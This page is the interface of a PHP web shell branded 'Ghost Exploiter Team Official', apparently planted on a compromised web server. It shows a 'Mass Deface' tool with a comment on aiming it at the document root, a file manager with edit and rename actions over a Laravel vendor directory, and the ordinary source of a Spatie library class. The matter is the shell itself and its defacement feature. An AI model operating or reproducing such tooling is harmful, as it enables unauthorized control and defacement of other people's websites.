Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
spatie
/
php-structure-discoverer
/
src
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Cache
--
ren
Collections
--
ren
Commands
--
ren
Data
--
ren
DiscoverConditions
--
ren
DiscoverWorkers
--
ren
Enums
--
ren
Exceptions
--
ren
StructureParsers
--
ren
Support
--
ren
TokenParsers
--
ren
Discover.php
5.525KB
edt
ren
StructureDiscovererServ
...
1.063KB
edt
ren
StructureScout.php
1.592KB
edt
ren
<?php namespace Spatie\StructureDiscoverer; use Spatie\StructureDiscoverer\Cache\DiscoverCacheDriver; use Spatie\StructureDiscoverer\Data\DiscoveredStructure; use Spatie\StructureDiscoverer\Exceptions\StructureScoutsCacheDriverMissing; use Spatie\StructureDiscoverer\Support\DiscoverCacheDriverFactory; use Spatie\StructureDiscoverer\Support\LaravelDetector; abstract class StructureScout { public static function create(): static { return new static(); } public function identifier(): string { return static::class; } abstract protected function definition(): Discover; public function cacheDriver(): DiscoverCacheDriver { if (LaravelDetector::isRunningLaravel()) { return DiscoverCacheDriverFactory::create(config('structure-discoverer.cache')); } throw new StructureScoutsCacheDriverMissing(); } /** * @return array<DiscoveredStructure>|array<string> */ public function get(): array { return $this->definition() ->withCache($this->identifier(), $this->cacheDriver()) ->get(); } /** * @return array<DiscoveredStructure>|array<string> */ public function cache(): array { return $this->definition() ->withCache($this->identifier(), $this->cacheDriver()) ->cache(); } public function clear(): static { $this->cacheDriver()->forget($this->identifier()); return $this; } public function isCached(): bool { return $this->cacheDriver()->has($this->identifier()); } }
<=Back
Liking